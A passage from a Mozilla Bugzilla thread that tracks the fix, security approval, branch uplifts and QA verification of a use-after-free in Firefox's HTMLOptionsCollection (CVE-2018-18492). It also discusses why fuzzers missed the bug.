This is also a case that should have been caught/prevented by memref, correct?
(In reply to Alex Gaynor [:Alex_Gaynor] from comment #11)
> This is also a case that should have been caught/prevented by memref, correct?

Yeah. I was thinking that myself but had been too lazy to actually look up what the bug was.
I took crash.html, renamed the variables to make them nicer, and used SpecialPowers instead of FuzzingFunctions, and that's enough to make the test case crash in a debug build.
Flags: in-testsuite?
I also looked through places in DOM-y code that had methods named DropReference. None of the other places seemed to call non-trivial methods on their weak pointers.
Attachment #9018737 - Flags: review?(kyle) → review+
Comment on attachment 9018737 [details] [diff] [review]
Make HTMLOptionsCollection::mSelect into a strong reference.

[Security Approval Request]

How easily could an exploit be constructed based on the patch?: Triggering a UAF should be fairly easy.

Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?: No

Which older supported branches are affected by this flaw?: all

If not all supported branches, which bug introduced the flaw?: None

Do you have backports for the affected branches?: No

If not, how different, hard to create, and risky will they be?: The patch is very simple, so it should be easy to fix them for other versions as needed.

How likely is this patch to cause regressions; how much testing does it need?: Unlikely.
Attachment #9018737 - Flags: sec-approval?
I'm curious how this bug survived a decade of fuzzing (AFAICT this has just been an issue forever). The test case looks fairly standard. I'm not sure how the optgroup stuff is needed, so maybe that made it trickier to suss out.
I suspect domato never triggered this because it doesn't GC in a way that'll hit us (based on my 30 seconds looking :-)): https://github.com/googleprojectzero/domato/blob/master/template.html#L11-L14

Perhaps we should either implement the APIs that it wants (which I assume are what some other browser uses?) or add support for our GC API to it.

Answer will be different for our other fuzzers of course.
This particular pattern is very similar to other bugs we're gotten in the past from Nils and others (for instance, bug 1464784), including the GCs.
Sec-approval for checkin on November 6, two weeks into the new cycle.
Whiteboard: [checkin on 11/6]
Attachment #9018737 - Flags: sec-approval? → sec-approval+
https://hg.mozilla.org/integration/mozilla-inbound/rev/d4f3e119ae841008c1be59e72ee0a058e3803cf3

Please request Beta approval on this patch when you get a chance. It grafts cleanly as-landed. It'll also need a rebased patch for ESR60.
Flags: needinfo?(continuation)
Whiteboard: [checkin on 11/6]
Comment on attachment 9018737 [details] [diff] [review]
Make HTMLOptionsCollection::mSelect into a strong reference.

[Beta/Release Uplift Approval Request]

Feature/Bug causing the regression: None

User impact if declined: sec-high

Is this code covered by automated tests?: Yes

Has the fix been verified in Nightly?: Yes

Needs manual test from QE?: Yes

If yes, steps to reproduce: The patch "Crash test version of the test case." that can be applied to run as a crash test.

List of other uplifts needed: None

Risk to taking this patch: Low

Why is the change risky/not risky? (and alternatives if risky): This just makes a pointer strong. The only risk would be a leak, but that seems very unlikely.

String changes made/needed:
Flags: needinfo?(continuation)
Attachment #9018737 - Flags: approval-mozilla-beta?
Still need to rebase for esr60 and request esr approval.
Flags: needinfo?(continuation)
Comment on attachment 9023357 [details] [diff] [review]
Make HTMLOptionsCollection::mSelect into a strong reference. Rebased for ESR-60.

[ESR Uplift Approval Request]

If this is not a sec:{high,crit} bug, please state case for ESR consideration: sec-high

User impact if declined: See comment 22.

Fix Landed on Version: 

Risk to taking this patch: Low

Why is the change risky/not risky? (and alternatives if risky): 

String or UUID changes made by this patch:
Flags: needinfo?(continuation)
Attachment #9023357 - Flags: approval-mozilla-esr60?
Comment on attachment 9018737 [details] [diff] [review]
Make HTMLOptionsCollection::mSelect into a strong reference.

[Triage Comment]
Fixes a longstanding sec issue. Approved for 64.0b8 and 60.4.0esr.
Attachment #9018737 - Flags: approval-mozilla-beta? → approval-mozilla-beta+
Attachment #9023357 - Flags: approval-mozilla-esr60? → approval-mozilla-esr60+
https://hg.mozilla.org/mozilla-central/rev/d4f3e119ae84
Group: dom-core-security → core-security-release
Status: NEW → RESOLVED
Closed: 6 years ago
Resolution: --- → FIXED
Target Milestone: --- → mozilla65
I've trouble verifying this issue. I`m getting the following error: "ReferenceError: FuzzingFunctions is not defined" when trying the minimized test case from comment 1.

Could you provide explicit steps on how to verify it?
(In reply to Stefan [:StefanG_QA] from comment #30)
> Could you provide explicit steps on how to verify it?

You need to use an ASan build with fuzzing enabled, or use the "Crash test version of the test case" and run it as a crash test.
I've used the latest Nightly ASan build (firefox-65.0a1.en-US.linux-x86_64-asan-reporter.tar.bz2). However, when started from the terminal with -enable-fuzzing and the pref fuzzing.enabled=true, I`m getting the mentioned error. 

Also, when using the "Crash test version of the test case" file is loaded as a text.
Tyson, do you know if we have fuzzing enabled builds available for Firefox 65?
Flags: needinfo?(twsmith)
(In reply to Andrew McCreight [:mccr8] from comment #33)
> Tyson, do you know if we have fuzzing enabled builds available for Firefox
> 65?

Yes we do they can be found on tc[1].

Stafan, Please do not use the asan-reporter build this is not the correct build. The ASan reporter builds are for the ASan nightly project[2]


[1] https://tools.taskcluster.net/index/gecko.v2.mozilla-central.latest.firefox/linux64-fuzzing-asan-opt
[2] https://developer.mozilla.org/en-US/docs/Mozilla/Testing/ASan_Nightly_Project
Flags: needinfo?(twsmith)
Mozilla/5.0 (X11; Linux x86_64; rv:65.0) Gecko/20100101 Firefox/65.0 (20181115221012)
Mozilla/5.0 (X11; Linux x86_64; rv:64.0) Gecko/20100101 Firefox/64.0 (20181116165039)

The issue is verified using the test case for comment 1 and the provided linux64-fuzzing-asan-opt build for Nightly 65 and respectively the latest Beta build. No crash observed during testing.
Status: RESOLVED → VERIFIED
Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0 (20181108144235)

The issue is verified using the test case from comment 1 and the linux64-fuzzing-asan-opt build for ESR 60. No crash observed during testing.
Flags: qe-verify+
Whiteboard: [adv-main64+][adv-esr60.4+]
Alias: CVE-2018-18492
Flags: sec-bounty?
Flags: sec-bounty? → sec-bounty+
Group: core-security-release

Bugbug thinks this bug is a regression, but please revert this change in case of error.

Keywords: regression
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Creator:
Created:
Updated:
Size: